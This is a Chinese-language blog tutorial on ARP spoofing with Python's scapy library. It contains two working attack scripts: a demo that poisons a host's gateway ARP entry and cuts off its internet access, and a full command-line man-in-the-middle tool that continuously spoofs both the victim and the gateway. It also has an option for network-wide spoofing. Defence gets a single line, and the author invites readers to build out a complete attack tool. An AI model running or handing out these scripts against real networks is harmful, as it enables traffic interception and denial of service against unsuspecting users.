Python scapy實現一個簡易arp攻擊腳本

scapy是python寫的一個功能強大的交互式數據包處理程序,可用來發送、嗅探、解析和偽造網絡數據包,常常被用到網絡攻擊和測試中。

scapy的安裝在Linux非常便利,但在Windows下比較復雜。

以下假定讀者使用的是Ubuntu Linux 和 Python 3 環境。

scapy的安裝在Linux下非常便利,在終端下執行以下命令即可完成安裝:

sudo pip3 install scapy-python3

以下是一個非常簡單的arp攻擊演示腳本,該腳本可以在實驗環境下幫助你理解arp協議的作用和原理,當然你甚至可以擴充該腳本去編寫一個完整的arp攻擊工具。

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# ARP攻擊演示腳本/arpDemo.py


from scapy.all import (
    Ether,
    ARP,
    sendp
)
# 注意這里面的幾個方法
# Ether用來構建以太網數據包
# ARP是構建ARP數據包的類
# sendp方法在第二層發送數據包

# Ether用來構建以太網數據包
eth = Ether()
arp = ARP(
    # 代表ARP請求或者響應
    op="is-at",
 
    # 發送方Mac地址/毒化記錄中的MAC
    hwsrc="08:00:27:97:d1:f5",
    # 發送方IP地址/毒化記錄中的IP
    psrc="192.168.31.1",
 
    # 目標Mac地址/被欺騙主機MAC
    hwdst="2C:56:DC:D3:AB:DB",
    # 目標IP地址/被欺騙主機IP地址
    pdst="192.168.31.248"
 
    # 意思就是告訴192.168.31.248這個地址的主機,IP為192.168.31.100的主機MAC地址是08:00:27:97:d1:f5
    # 如果不寫目標主機的IP和MAC則默認以廣播的形式發送
)
# scapy重載了"/"操作符,可以用來表示兩個協議層的組合
# 這里我們輸出一下數據包的結構信息
print((eth/arp).show())

# 發送封包,并且每間隔1秒重復發送
sendp(eth/arp, inter=2, loop=1)

攻擊前我們在主機上看一下arp緩存的記錄

arp -a
攻擊前的arp緩存記錄

執行腳本:

sudo python3 arpDemo.py
攻擊后的arp緩存記錄

這里我們是對主機的網關記錄進行篡改,在執行了攻擊腳本后主機已經無法正常訪問互聯網了。

如果你要防范這種攻擊也很簡單,直接將IP和MAC地址的關系綁定寫入arp緩存即可。
在windows你可以通過arp命令完成,Linux下與此操作相似。

#添加靜態項
arp -s 192.168.31.1   64-09-80-04-aa-c3

下面是一個更加復雜的中間人攻擊腳本范例
你可以進一步的去完善它

#!/usr/bin/python3
# -*- coding: utf-8 -*-
'''
ARP 攻擊腳本
'''
 
import argparse
import threading
import time
 
from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip
 
 
# 注意這里面的幾個方法
 
# Ether用來構建以太網數據包
# ARP是構建ARP數據包的類
# sendp方法在第二層發送數據包
# getmacbyip方法用于通過ip獲取mac地址
# get_if_hwaddr方法獲取指定網卡的mac地址
 
def get_mac(tgt_ip):
    '''
    調用scapy的getmacbyip函數,獲取攻擊目標IP的MAC地址。
    '''
    tgt_mac = getmacbyip(tgt_ip)
    if tgt_mac is not None:
        return tgt_mac
    else:
        print("無法獲取IP為:%s 主機的MAC地址,請檢查目標IP是否存活"%tgt_ip)
 
 
def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
    '''
    生成ARP數據包,偽造網關欺騙目標計算機
    src_mac:本機的MAC地址,充當中間人
    tgt_mac:目標計算機的MAC
    gateway_ip:網關的IP,將發往網關的數據指向本機(中間人),形成ARP攻擊
    tgt_ip:目標計算機的IP
    op=is-at,表示ARP響應
    '''
    eth = Ether(src=src_mac, dst=tgt_mac)
    arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
    pkt = eth / arp
    return pkt
 
def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
    '''
    生成ARP數據包,偽造目標計算機欺騙網關
    src_mac:本機的MAC地址,充當中間人
    gateway_mac:網關的MAC
    tgt_ip:目標計算機的IP,將網關發往目標計算機的數據指向本機(中間人),形成ARP攻擊
    gateway_ip:網關的IP
    op=is-at,表示ARP響應
    '''
    eth = Ether(src=src_mac, dst=gateway_mac)
    arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
    pkt = eth / arp
    return pkt
 
 
def main():
    """
    主方法
    """
    description = "ARP攻擊腳本"
    parser = argparse.ArgumentParser(description=description)
 
    parser.add_argument('-sm', dest='srcmac', type=str, help='發送源計算機的MAC,如果不提供,默認將采用本機的MAC地址')
    parser.add_argument('-t', dest='targetip', type=str, help='指定目標計算機IP', required=True)
    parser.add_argument('-tm', dest='targetmac', type=str, help='指定目標計算機MAC,如果不提供,默認將根據其IP獲取MAC地址')
    parser.add_argument('-g', dest='gatewayip', type=str, help='指定網關IP', required=True)
    parser.add_argument('-gm', dest='gatewaymac', type=str, help='指定網關MAC,如果不提供,默認將根據其IP獲取MAC地址')
    parser.add_argument('-i', dest='interface', type=str, help='指定使用的網卡', required=True)
    parser.add_argument('-a', dest='allarp', action='store_true', help='是否進行全網arp欺騙')
 
    args = parser.parse_args()
 
    tgt_ip = args.targetip
    gateway_ip = args.gatewayip
    interface = args.interface
 
    srcmac = args.srcmac
    targetmac = args.targetmac
    gatewaymac = args.gatewaymac
 
    if tgt_ip is None or gateway_ip is None or interface is None:
        print(parser.print_help())
        exit(0)
 
    src_mac = srcmac
    if src_mac is None:
        src_mac = get_if_hwaddr(interface)
 
    print('本機MAC地址是:', src_mac)
    print("目標計算機IP地址是:", tgt_ip)
 
    tgt_mac = targetmac
    if tgt_mac is None:
        tgt_mac = get_mac(tgt_ip)
 
    print("目標計算機MAC地址是:", tgt_mac)
    print("網關IP地址是:", gateway_ip)
 
    gateway_mac = gatewaymac
    if gateway_mac is None:
        gateway_mac = get_mac(gateway_ip)
 
    print("網關MAC地址是:", gateway_mac)
 
    input('按任意鍵繼續:')
 
    pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
    pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)

    # 如果不展示發送情況的話下面的語句可以更加簡便直接用sendp方法提供的功能循環發送即可,不需要多線程和死循環。
    # sendp(pkt_station, inter=1, loop=1)
    # sendp(pkt_gateway, inter=1, loop=1)

    i = 1
    while True:
        t = threading.Thread(
            target=sendp,
            args=(pkt_station,),
            kwargs={'inter':1, 'iface':interface}
        )
        t.start()
        t.join()
        print(str(i) + " [*]發送一個計算機ARP欺騙包")
 
        s = threading.Thread(
            target=sendp,
            args=(pkt_gateway,),
            kwargs={'inter':1, 'iface':interface}
        )
        s.start()
        s.join()
 
        print(str(i) + " [*]發送一個網關ARP欺騙包")
        i += 1
        time.sleep(1)
 
if __name__ == '__main__':
    main()
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容